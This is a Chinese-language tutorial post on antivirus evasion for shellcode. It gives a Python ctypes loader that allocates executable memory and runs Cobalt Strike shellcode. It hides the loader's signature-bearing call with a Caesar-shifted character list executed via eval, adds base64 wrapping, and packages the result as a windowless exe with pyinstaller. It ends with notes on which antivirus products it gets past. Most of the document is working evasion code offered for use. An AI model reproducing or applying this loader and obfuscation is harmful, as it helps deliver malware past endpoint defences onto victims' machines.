shellcode免杀
杀毒软件的原理一般是匹配特征码,行为监测,虚拟机(沙箱),内存查杀等。360和火绒主要使用特征码检测查杀病毒(云查杀也是特征码检测),本文仅对360、火绒和Defender进行特征码检测绕过
获取shellcode
从cs中获取shellcode,格式可以自己选,但是获取的都是会被查杀的
加载ShellCode
在Python语言中通过ctypes模块将shellcode加载到内存并执行:
import ctypes
shellcode = b''
#调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存,0x3000代表MEM_COMMIT | MEM_RESERVE,0x40代表可读可写可执行属性
wiseZERld = ctypes.windll.kernel32.VirtualAlloc(
ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),ctypes.c_int(0x40)
#调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode移动到申请的内存中
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_int(wiseZERld),
shellcode,
ctypes.c_int(len(shellcode))
#创建线程并执行shellcode
CVXWRcjqxL = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),#指向安全属性的指针
ctypes.c_int(0),#初始堆栈大小
ctypes.c_int(wiseZERld),#指向起始地址的指针
ctypes.c_int(0),#指向任何参数的指针
ctypes.c_int(0),#创建标志
ctypes.pointer(ctypes.c_int(0)))#指向接收线程标识符的值的指针
ctypes.windll.kernel32.WaitForSingleObject(
ctypes.c_int(CVXWRcjqxL),
ctypes.c_int(-1)
其中的代码会被提取到特征值,从而被报毒
ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), buf, ctypes.c_int(len(llehscode)))
凯撒加密绕过
import ctypes
import string
flag = "ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), buf, ctypes.c_int(len(llehscode)))"
new3_list=[]
new2_list=list(flag)
for i in new2_list:
new3_list.append(ord(i)+6)
print(new3_list)
获取到对应的加密值后放回原有代码中去替换运行
# coding=utf-8
import string
import base64
import codecs
import ctypes
# 读取llehscode文件
llehscode = str(b'''"xxxx"''')
#a=open('hh.py','w',encoding='utf-8')
#a.write(llehscode)
#a.close()
# 取出llehscode内容
#llehscode = open('hh.py')
#llehscode = llehscode.read()
s1 = llehscode.find("\"")+1
s2 = llehscode.rfind("\"")
llehscode = llehscode[s1:s2]
# 把llehscode base64加密并写入base64.txt文件
base64_llehscode = base64.b64encode(llehscode.encode('UTF-8'))
llehscode = base64_llehscode
llehscode = base64.b64decode(llehscode)
llehscode = codecs.escape_decode(llehscode)[0]
llehscode = bytearray(llehscode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(llehscode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# 放入llehscode
buf = (ctypes.c_char * len(llehscode)).from_buffer(llehscode)
flag=[105, 122, 127, 118, 107, 121, 52, 125, 111, 116, 106, 114, 114, 52, 113, 107, 120, 116, 107, 114, 57, 56, 52, 88, 122, 114, 83, 117, 124, 107, 83, 107, 115, 117, 120, 127, 46, 38, 38, 38, 38, 105, 122, 127, 118, 107, 121, 52, 105, 101, 123, 111, 116, 122, 60, 58, 46, 118, 122, 120, 47, 50, 38, 38, 38, 38, 104, 123, 108, 50, 38, 38, 38, 38, 105, 122, 127, 118, 107, 121, 52, 105, 101, 111, 116, 122, 46, 114, 107, 116, 46, 114, 114, 107, 110, 121, 105, 117, 106, 107, 47, 47, 47]
flag1=""
for i in flag:
flag1 += chr((i)-6)
eval(flag1)
# 创建一个线程从llehscode放置位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
因为python直接运行是带弹窗的,会默认打开cmd页面,需要将python免弹窗运行:
将.py改成.pyw (这个其实就是使用脚本解析程序pythonw.exe)
然后使用pyinstaller来进行打包成exe,-i参数可以指定exe文件图标
pyinstaller.exe -F -i .\ff.ico .\hhshell.py
(-F 是打包成一个文件,-w是不出现调试窗口)
pyinstaller -Fw E:\test\url_crawler.py
国产的火绒和360都能过,卡巴斯基好像直接调用win32就报毒了,加了层base64加密也没效果,估计是动态行为报毒
#建立虚拟环境
pipenv install
#进入虚拟环境(上一步可省略,因为没有虚拟环境的话会自动建立一个)
pipenv shell
#安装模块
pip install requests pyquery pysimplegui fake_useragent
#打包的模块也要安装
pip install pyinstaller
#开始打包
pyinstaller -Fw E:\test\url_crawler.py
测试发现卡巴斯基是通过16进制识别的漏洞,做了进一步的加密,现在只有安天不免杀了,安天应该是只要python启动进程就会报毒,后续有空再研究怎么过吧